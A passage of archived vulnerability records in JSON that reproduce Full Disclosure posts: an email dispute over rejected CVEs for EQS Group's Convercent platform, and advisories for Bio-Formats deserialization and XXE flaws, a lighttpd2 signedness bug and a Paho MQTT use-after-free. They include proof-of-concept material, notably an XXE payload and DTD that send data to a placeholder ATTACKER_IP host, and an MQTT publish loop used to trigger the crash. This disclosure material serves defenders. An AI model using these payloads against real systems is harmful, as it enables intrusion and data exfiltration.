| Karlstr. 47 | 80333 M\u00fcnchen | www.eqs.com\u003chttps://www.eqs.com/?keyword=email-footer\u003e | \nwww.integrityline.com\u003chttp://www.integrityline.com/?keyword=email-footer\u003e\n[linkedIn Logo]\u003chttps://www.linkedin.com/company/1273779\u003e\n[X Logo]\u003chttps://twitter.com/eqsgroup\u003e\n[Instagram Logo]\u003chttps://www.instagram.com/eqsgroup/\u003e\n[YouTube Logo]\u003chttps://www.youtube.com/user/EquityStory\u003e\n[RSS Logo]\u003chttps://www.eqs.com/compliance-knowledge/\u003e\n[Xing Logo]\u003chttps://www.xing.com/companies/eqsgroup\u003e\nRegister Court: Munich | Register Number: HRB 297048\nManaging Directors: Achim Weick (CEO), Andr\u00e9 Silverio Marques, Marcus Sultzer\n\nThe preceding email message contains information that is confidential and may constitute non-public information that is \nintended to be conveyed only to the designated recipient(s).\nIf you are not an intended recipient of this message, please notify the sender at +49 89 444430-000\u003ctel:+4989444430000\u003e.\nUnauthorized use, dissemination, distribution, or reproduction of this message is strictly prohibited and may be \nunlawful.\n\n\nFrom: Wade Sparks \u003cwsparks () vulncheck com\u003e\nDate: Wednesday, 21. January 2026 at 17:29\nTo: Yuffie Kisaragi \u003cyuffie.kisaragi () atomicmail io\u003e\nCc: Security Vulnerability \u003csecurity-vulnerability () eqs com\u003e, fulldisclosure () seclists org \u003cfulldisclosure () \nseclists org\u003e\nSubject: Re: Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing \nPlatform (EQS Group)\n\n\nEXTERNAL EMAIL WARNING: Please check the sender of the message\n\nHello Yuffie,\n\nUpon further investigation, the VulnCheck CNA determined that these vulnerabilities were not suitable for CVE \nassignment. The vulnerabilities exist within a SaaS product and are mitigated at the CSP-level which in this case, \nwould be the vendor, EQS Group. Rather than contribute unactionable CVE records, the VulnCheck CNA used its \ndiscretionary prowess to move forward with rejecting these records. This policy aligns with a 2022 blog from \nMITRE\u003chttps://www.cve.org/Media/News/item/blog/2022/09/13/Dispelling-the-Myth-CVE-ID\u003e. It should be noted that the \nvendor informed us that they have published advisories for the respective vulnerabilities in their \"Trust Center\" \ncustomer portal.\n\nThese actions should not be a deterrent for you to pursue CVE assignment through MITRE or another research CNA.\n\nBest regards,\n\n[https://lh7-us.googleusercontent.com/-9dCGnQIZaW0ehyK1B0bqLmef7d7ZWuSmmmWUYJGhzNgtzRhqFPZrtO3AnQt8PETFHiv6_YST3DacZVgrxPdAYXErAMnJrF6Isn27caszruLjby7jLRuuU__5emkqFjU8hczQ307--yVVMpVSiK7Qg]\u003chttps://www.vulncheck.com/\u003e\n\nWade Sparks III\n\nVulnCheck\nSenior Vulnerability Analyst\n\n\nOn Tue, Jan 20, 2026 at 12:13\u202fPM Yuffie Kisaragi \u003cyuffie.kisaragi () atomicmail io\u003cmailto:yuffie.kisaragi () atomicmail \nio\u003e\u003e wrote:\n\n\nDear Art,\n\n\nThank you for sharing your detailed evaluation and for pointing out the relevant sections of the CNA Rules.\n\n\nYour argument is well reasoned, particularly with respect to the current guidance on SaaS and exclusively hosted \nservices.\n\n\nI have forwarded your evaluation to the CNA for further consideration. It will also be important to understand the \nvendor\u2019s perspective in light of the points you raised, especially regarding the applicability of the \n\u201cexclusively-hosted-service\u201d tag and the removal of prior restrictions.\n\nWe look forward to receive transparent feedback from the CNA and/or the vendor.\n\nTo date, the vendor has remained silent with regard to informing their users about the reported issues. As far as we \ncan determine, no public advisory or user-facing communication has been issued via their vulnerability reporting \nchannel (https://www.eqs.com/report-a-vulnerability/) or elsewhere.\n\nBest regards,\n\nYuffie\n\nOn Tue, Jan 20, 2026 at 7:26 PM \u003czmanion () protonmail com\u003cmailto:zmanion () protonmail com\u003e\u003e wrote:\n\nHi,\n\nthe vulnerabilities are no longer considered eligible for CVE tracking, despite being real, independently discovered, \nresponsibly disclosed, and acknowledged by the vendor.\nCVE IDs *can* be assigned for SaaS or similarly \"cloud only\" software. For a period of time, there was a restriction \nthat only the provider could make or request such an assignment. But the current CVE rules remove this restriction:\n\n4.2.3 CNAs MUST NOT consider the type of technology (e.g., cloud, on-premises, artificial intelligence, machine \nlearning) as the sole basis for determining assignment.\n\nIt would have been acceptable (even preferred) to leave CVE-2025-34411 and CVE-2025-34412 published and identify them \nas affecting an \"exclusively-hosted-service:\"\n\n5.1.11.1 (A CVE Record) MUST use the \u201cexclusively-hosted-service\u201d tag when all known Products listed in the CVE Record \nexist only as fully"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/25"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/25"
        },
        {
          "url": "http://www.integrityline.com/?keyword=email-footer"
        },
        {
          "url": "https://lh7-us.googleusercontent.com/-9dCGnQIZaW0ehyK1B0bqLmef7d7ZWuSmmmWUYJGhzNgtzRhqFPZrtO3AnQt8PETFHiv6_YST3DacZVgrxPdAYXErAMnJrF6Isn27caszruLjby7jLRuuU__5emkqFjU8hczQ307--yVVMpVSiK7Qg"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://outlook.office365.com/owa/calendar/BookaMeetingwithMarco"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://twitter.com/eqsgroup"
        },
        {
          "url": "https://www.cve.org/Media/News/item/blog/2022/09/13/Dispelling-the-Myth-CVE-ID"
        },
        {
          "url": "https://www.cve.org/resourcessupport/allresources/cnarules"
        },
        {
          "url": "https://www.eqs.com/?keyword=email-footer"
        },
        {
          "url": "https://www.eqs.com/compliance-knowledge/"
        },
        {
          "url": "https://www.eqs.com/de/platform-compliance-ethics/?keyword=email-footer"
        },
        {
          "url": "https://www.eqs.com/report-a-vulnerability/"
        },
        {
          "url": "https://www.eqs.com/report-a-vulnerability/#handle"
        },
        {
          "url": "https://www.instagram.com/eqsgroup/"
        },
        {
          "url": "https://www.linkedin.com/company/1273779"
        },
        {
          "url": "https://www.linkedin.com/in/marcoermini/"
        },
        {
          "url": "https://www.vulncheck.com/"
        },
        {
          "url": "https://www.xing.com/companies/eqsgroup"
        },
        {
          "url": "https://www.youtube.com/user/EquityStory"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/25"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Re: Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing Platform (EQS Group)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-34411",
              "type": "related"
            },
            {
              "destId": "CVE-2025-34412",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0185",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/25",
            "automated": true,
            "contentSha256": "5706daeae34135987f816ff9f75eb733cc5a660d5099b81280a650892732ead3",
            "evidenceScore": 5,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/25",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-23T18:41:47Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0185"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-08T07:57:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0185"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Bioformats",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Bio-Formats performs unsafe Java deserialization of attacker-controlled\nmemoization cache files (.bfmemo) during image processing. The\nloci.formats.Memoizer class automatically loads and deserializes memo files\nassociated with images without validation, integrity checks, or trust\nenforcement.\nAn attacker can exploit this behavior by supplying a crafted or corrupted\n.bfmemo file\u2014either fully attacker-controlled or derived from a legitimate\nmemo file\u2014causing Bio-Formats to deserialize untrusted data. This can lead\nto denial-of-service, logic manipulation, or remote code execution when\nsuitable gadget chains are present on the classpath.\n\n*Impact:*\nAn attacker can:\n* Trigger deserialization of untrusted data\n* Cause repeated parsing failures (denial-of-service)\n* Influence reader discovery and class loading\n* Potentially achieve remote code execution when suitable gadget chains\nexist\nThe vulnerability is reachable through standard image processing workflows\nand does not require non-default configuration.\n\n*Proof of Concept:*\nCorrupting a Legitimate Memo File\nThis PoC demonstrates exploitation by modifying a legitimately generated\n.bfmemo file, which closely mirrors a real-world attack scenario.\n\nStep 1 \u2013 Generate a Valid Memo File\n[Step 1/4] Creating valid TIFF image...\n[+] Created valid.tif\n\n[Step 2/4] Generating legitimate memo file...\n[+] Memo created at: ./root/bioformats/.valid.tif.bfmemo\n[+] Size: 34815 bytes\n\nStep 2 \u2013 Corrupt the Existing Memo File\n[Step 4/4] Corrupting memo file...\n[+] Corrupted memo (appended 400 garbage bytes)\n[+] Created symlink to memo file\n\nExample Output\n[*] Loading valid.tif with Memoizer...\n\njava.lang.ClassNotFoundException: loci.formats.in.URLReader\nat loci.formats.ClassList.parseLine(ClassList.java:196)\nat loci.formats.ClassList.parseFile(ClassList.java:258)\nat loci.formats.Memoizer.\u003cinit\u003e(Memoizer.java:540)\n\njava.lang.ClassNotFoundException: loci.formats.in.SlideBook6Reader\njava.lang.ClassNotFoundException: loci.formats.in.ScreenReader\njava.lang.ClassNotFoundException: loci.formats.in.ZarrReader\njava.lang.ClassNotFoundException:\nch.epfl.biop.formats.in.ZeissQuickStartCZIReader\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/7"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/7"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/7"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Bioformats v8.3.0 Untrusted Deserialization of Bio-Formats Memoizer Cache Files",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2025-0004",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/7",
            "automated": true,
            "contentSha256": "40ad0f53caf4e58126503be0ef0c34f8f029d0b6154ea0b259ea8c56420bf3ad",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/7",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2025-12-30T03:59:51Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-08T07:57:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2025-0004"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Bioformats",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Bio-Formats contains an XML External Entity (XXE) vulnerability in the\nLeica Microsystems metadata parsing component. The vulnerability is caused\nby the use of an insecurely configured DocumentBuilderFactory when\nprocessing Leica XML-based metadata files (e.g., XLEF). When a crafted XML\nfile is supplied, the parser allows external entity resolution and external\nDTD loading, enabling attackers to trigger arbitrary outbound network\nrequests, access local system resources, or cause a denial-of-service\ncondition during XML parsing.\n\n*Impact:*\nAn attacker who can supply a crafted Leica XML metadata file may:\n* Trigger XML External Entity (XXE) injection\n* Perform server-side request forgery (SSRF) via outbound HTTP requests\n* Access local files where XML-safe content exists\n* Cause denial of service through entity expansion or parser instability\n* Exfiltrate data through blind out-of-band channels\nExploitation occurs during XML parsing and does not require authentication.\n\n*Proof of Concept:*\nMalicious XLEF File\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE xxe [\n  \u003c!ENTITY % ext SYSTEM \"http://ATTACKER_IP:8000/evil.dtd\";\u003e\n  %ext;\n]\u003e\n\u003cxlef\u003e\n  \u003cImage\u003e\u0026exfil;\u003c/Image\u003e\n\u003c/xlef\u003e\nAttacker-Controlled External DTD (evil.dtd)\n\u003c!ENTITY exfil SYSTEM \"http://ATTACKER_IP:8000/exfil?data=ubuntu\";\u003e\n\n*Exploit Execution:*\njava -cp bioformats_package.jar \\\n     loci.formats.tools.ImageInfo xxe_blind.xlef\n\n*Observed Exploit Output:*\nVictim Application Output\nInitializing reader\nXLEFReader initializing xxe_blind.xlef\nhttp://ATTACKER_IP:8000/exfil?data=ubuntu\njava.io.FileNotFoundException: http://ATTACKER_IP:8000/exfil?data=ubuntu\n    at org.apache.xerces.impl.XMLEntityManager.setupCurrentEntity\n    at org.apache.xerces.impl.XMLEntityManager.startEntity\n    at org.apache.xerces.impl.XMLDTDScannerImpl.scanDTDInternalSubset\n    at javax.xml.parsers.DocumentBuilder.parse\n    at LMSXmlDocument.initFromFilepath(LMSXmlDocument.java:125)\nAttacker HTTP Server Log\n192.x.x.x - - [23/Dec/2025 23:28:19]\n\"GET /exfil?data=ubuntu HTTP/1.1\" 404 -\nThe outbound HTTP request confirms that the XML parser resolved\nattacker-controlled external entities during file parsing.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/6"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/6"
        },
        {
          "url": "http://ATTACKER_IP:8000/evil.dtd\""
        },
        {
          "url": "http://ATTACKER_IP:8000/exfil?data=ubuntu"
        },
        {
          "url": "http://ATTACKER_IP:8000/exfil?data=ubuntu\""
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/6"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Bioformats v8.3.0 Improper Restriction of XML External Entity Reference in Bio-Formats Leica Microsystems XML Parser",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2025-0003",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/6",
            "automated": true,
            "contentSha256": "c408bb9daff831b3ed38a932c85b4d9c9e2da18115f391d75b82736085b174fd",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/6",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2025-12-30T03:56:29Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-08T07:57:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2025-0003"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "lighttpd2 Signedness Error",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "*Description:*\nA signedness vulnerability exists in the li_chunkqueue_append_mem()\nfunction in lighttpd2, where a signed length parameter (gssize len) is not\nproperly validated before being used in memory operations that expect an\nunsigned size. When a negative length value is supplied, it is implicitly\nconverted to a large unsigned value, resulting in an out-of-bounds memory\nread and a stack buffer overflow.\n\n*Affected Component:*\n\n   - Project: lighttpd2\n   - File: src/main/chunk.c\n   - Function: li_chunkqueue_append_mem()\n   - Affected versions: lighttpd2 2.0.0 (and likely earlier versions in the\n   2.x series)\n\n*Attack Vector:*\n\n   - Local / Internal API misuse\n   - Potential remote reachability if malformed HTTP request bodies,\n   chunked transfer decoding, or backend responses result in negative length\n   calculations that reach li_chunkqueue_append_mem().\n\n*Technical Details:*\n*The vulnerable function is defined as:*\nvoid li_chunkqueue_append_mem(liChunkQueue *cq, const void *mem, gssize\nlen);\n*Inside the function, len is only checked for zero:*\nif (!len) return; Negative values are not rejected. When a negative gssize\nvalue (e.g., -1) is passed, it is later used in calls that treat the value\nas an unsigned size (gsize), resulting in a large length such as\n4294967295. This causes unsafe memory operations via g_array_append_vals()\nand ultimately memcpy(), leading to an out-of-bounds memory access.\n\n*Proof of Concept:*\nA minimal reproducer demonstrates the issue:\n\n    /* Trigger signedness bug */\n    li_chunkqueue_append_mem(cq, buf, -1);\n\n# ./chunk\n\n*Output:*\n\n=================================================================\n==175485==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbff9cf00028 at pc 0xaaaae7908080 bp 0xffffc50ec5a0 sp 0xffffc50ebd90\nREAD of size 4294967295 at 0xfbff9cf00028 thread T0\n    #0 0xaaaae790807c in memcpy (/root/lighttpd2/chunk+0xd807c) (BuildId:\n5f4fb5aa4dacb9c02ca0afc9864a810d23e3629a)\n    #1 0xffff9fa9651c in g_array_append_vals\n(/lib/aarch64-linux-gnu/libglib-2.0.so.0+0x2651c) (BuildId:\nee842437cbb995404bc6e4a9a832449be696142c)\n    #2 0xffff9fdf2228 in li_chunkqueue_append_mem\n/root/lighttpd2/build-asan/../src/main/chunk.c:562:2\n    #3 0xaaaae794bb1c in main /root/lighttpd2/chunkqueue.c:9:5\n    #4 0xffff9f752598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #5 0xffff9f752678 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #6 0xaaaae7864fac in _start (/root/lighttpd2/asan_test+0x34fac)\n(BuildId:\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:25:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/14"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/14"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/14"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "lighttpd2 Signedness Error in li_chunkqueue_append_mem() Leads to Out-of-Bounds Memory Access",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0177",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/14",
            "automated": true,
            "contentSha256": "ce9ca537fc93737be7e2bf711a3fbdcd21411bd5cdcf6fd859abe2c6b4ad4348",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/14",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-30T23:47:44Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-08T07:25:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0177"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Paho",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "*Description:*\nEclipse Paho MQTT C Client contains a heap use-after-free vulnerability in\nthe synchronous MQTT client (libpaho-mqtt3c) when handling incoming PUBLISH\nmessages with retry semantics. When a user-supplied messageArrived()\ncallback frees the received message and returns 0 (indicating processing\nfailure and requesting retry), the library retains internal references to\nthe freed message and later reuses them during retry processing. This\nresults in a use-after-free inside the library, leading to a crash and\npotential arbitrary code execution depending on heap state. The\nvulnerability occurs because the library does not revalidate message\nownership or clone message data before reusing it on retry paths.\n\n*Impact:*\nAn unauthenticated remote attacker capable of publishing messages to the\nMQTT broker can trigger this vulnerability, resulting in:\n* Denial of Service (crash)\n* Potential Remote Code Execution, depending on heap layout and allocator\nbehavior\n\n*Affected Component:*\n\n   - Library: Eclipse Paho MQTT C Client\n   - Module: libpaho-mqtt3c (synchronous client)\n   - File: src/MQTTClient.c\n   - Function: MQTTClient_run() (retry processing path)\n\n*Attack Vector:*\n\n   - Remote / Network\n   - Triggered via MQTT PUBLISH packets\n   - No authentication required in common broker configurations\n   - No local access required\n\n*Server:*\n# mosquitto -p 1884 -v\n\u2014snip\u2014\n\n1768860860: Client auto-3592976F-BCF9-1EDF-2A8D-A28A40C30202 disconnected.\n1768860860: Client asan-client closed its connection.\n\n*Payload (attacker):*\n\n# for i in {1..50}; do   mosquitto_pub -h 127.0.0.1 -p 1884 -t uaf/test -q\n1 -m \"AAAA$i\"; done\n\n\n*Client:*export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0\nexport UBSAN_OPTIONS=print_stacktrace=1\n\n./MQTTClient_ASAN\n[*] Creating client\n[*] Connecting\n[*] Subscribing\n[*] Waiting for message (publish now!)\n[!] messageArrived called\n[!] returning 0 (retry path)\n=================================================================\n==179019==ERROR: AddressSanitizer: heap-use-after-free on address\n0xfc2fa47e1b78 at pc 0xaaaac160cd98 bp 0xfbffa29fd270 sp 0xfbffa29fca60\nREAD of size 9 at 0xfc2fa47e1b78 thread T1\n    #0 0xaaaac160cd94 in strlen\n(/root/paho.mqtt.c/build-asan/MQTTClient_ASAN+0x4cd94) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n    #1 0xffffa5b298d8 in MQTTClient_run\n/root/paho.mqtt.c/src/MQTTClient.c:911:9\n    #2 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o\n    #3 0xffffa57cb9f0 in start_thread nptl/pthread_create.c:448:8\n    #4 0xffffa5836fc8 in thread_start\nmisc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72\n\n0xfc2fa47e1b78 is located 8 bytes inside of 32-byte region\n[0xfc2fa47e1b70,0xfc2fa47e1b90)\nfreed by thread T1 here:\n    #0 0xaaaac169928c in free\n(/root/paho.mqtt.c/build-asan/MQTTClient+0xd928c) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n    #1 0xffffa5bd149c in myfree /root/paho.mqtt.c/src/Heap.c:285:4\n    #2 0xffffa5aff74c in MQTTClient_free\n/root/paho.mqtt.c/src/MQTTClient_ASAN.c:659:2\n    #3 0xaaaac16dbf88 in messageArrived\n/root/paho.mqtt.c/build-asan/MQTTClient_ASAN.c:18:5\n    #4 0xffffa5b29fc4 in MQTTClient_run\n/root/paho.mqtt.c/src/MQTTClient.c:917:10\n    #5 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o\n    #6 0xffffa5836fc8 in thread_start\nmisc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72\n\npreviously allocated by thread T1 here:\n    #0 0xaaaac1699520 in malloc\n(/root/paho.mqtt.c/build-asan/uaf_trigger+0xd9520) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n    #1 0xffffa5bd0a54 in mymalloc /root/paho.mqtt.c/src/Heap.c:201:16\n    #2 0xffffa5b504dc in readUTFlen\n/root/paho.mqtt.c/src/MQTTPacket.c:395:18\n    #3 0xffffa5b4b460 in MQTTPacket_publish\n/root/paho.mqtt.c/src/MQTTPacket.c:570:21\n    #4 0xffffa5b4d598 in MQTTPacket_Factory\n/root/paho.mqtt.c/src/MQTTPacket.c:150:16\n    #5 0xffffa5b1e62c in MQTTClient_cycle\n/root/paho.mqtt.c/src/MQTTClient.c:2648:12\n    #6 0xffffa5b284ac in MQTTClient_run\n/root/paho.mqtt.c/src/MQTTClient.c:866:10\n    #7 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o\n    #8 0xffffa5836fc8 in thread_start\nmisc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72\n\nThread T1 created by T0 here:\n    #0 0xaaaac167d5ac in pthread_create\n(/root/paho.mqtt.c/build-asan/uaf_trigger+0xbd5ac) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n    #1 0xffffa5b92adc in Paho_thread_start\n/root/paho.mqtt.c/src/Thread.c:79:6\n    #2 0xffffa5b244c0 in MQTTClient_connectURIVersion\n/root/paho.mqtt.c/src/MQTTClient.c:1239:3\n    #3 0xffffa5b0efec in MQTTClient_connectURI\n/root/paho.mqtt.c/src/MQTTClient.c:1731:8\n    #4 0xffffa5b0512c in MQTTClient_connectAll\n/root/paho.mqtt.c/src/MQTTClient.c:1888:8\n    #5 0xffffa5b02ec0 in MQTTClient_connect\n/root/paho.mqtt.c/src/MQTTClient.c:1759:13\n    #6 0xaaaac16dc1d8 in main\n/root/paho.mqtt.c/build-asan/MQTTClient_ASAN.c:38:5\n    #7 0xffffa5762598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #8 0xffffa5762678 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #9 0xaaaac15f542c in _start\n(/root/paho.mqtt.c/build-asan/MQTTClient_ASAN+0x3542c) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:25:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/13"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/13"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/13"
